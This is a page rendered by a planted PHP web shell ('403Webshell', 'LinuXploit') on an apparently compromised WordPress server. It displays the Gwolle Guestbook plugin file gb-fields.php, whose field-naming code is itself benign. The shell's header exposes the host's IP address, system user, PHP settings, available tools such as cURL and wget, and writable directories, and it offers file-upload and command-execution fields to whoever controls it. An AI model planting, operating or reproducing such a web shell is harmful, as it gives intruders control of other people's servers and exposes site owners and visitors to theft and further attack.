403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/13/d818981593/htdocs/GutTrechow/wp-content/plugins/gwolle-gb/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/13/d818981593/htdocs/GutTrechow/wp-content/plugins/gwolle-gb/functions/gb-fields.php
<?php


if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly



/*
 * Use a custom field name for the form fields that are different for each website.
 *
 * @param string field name of the requested field.
 * @return string hashed fieldname or fieldname, prepended with gwolle_gb.
 *
 * @since 2.4.1
 */
function gwolle_gb_get_field_name( $field ) {

	if ( ! in_array( $field, array( 'name', 'city', 'email', 'website', 'honeypot', 'honeypot2', 'nonce', 'custom', 'timeout', 'timeout2' ) ) ) {
		return 'gwolle_gb_' . $field;
	}

	$blog_url = get_option( 'siteurl' );
	// $blog_url = get_bloginfo('wpurl'); // Will be different depending on scheme (http/https).

	$key = 'gwolle_gb_' . $field . '_field_name_' . $blog_url;
	$field_name = wp_hash( $key, 'auth' );
	$field_name = 'gwolle_gb_' . $field_name;

	return $field_name;

}


/*
 * Use a custom and unique field id based on field name plus a counter for the form fields.
 * Labels need to point to an id of the form field, for the 'for' attribute.
 *
 * @param string field name of the requested field.
 * @return string fieldname appended with a counter.
 *
 * @uses static $ids array with counters for each field.
 *
 * @since 4.8.0
 */
function gwolle_gb_get_field_id( $field_name ) {

	static $ids;

	if ( ! is_array( $ids ) ) {
		$ids = array();
	}

	if ( ! isset( $ids["$field_name"] )  ) {
		$ids["$field_name"] = 0;
	}
	$ids["$field_name"]++;

	$field_id = $field_name . '-' . $ids["$field_name"];

	return $field_id;

}

Youez - 2016 - github.com/yon3zu
LinuXploit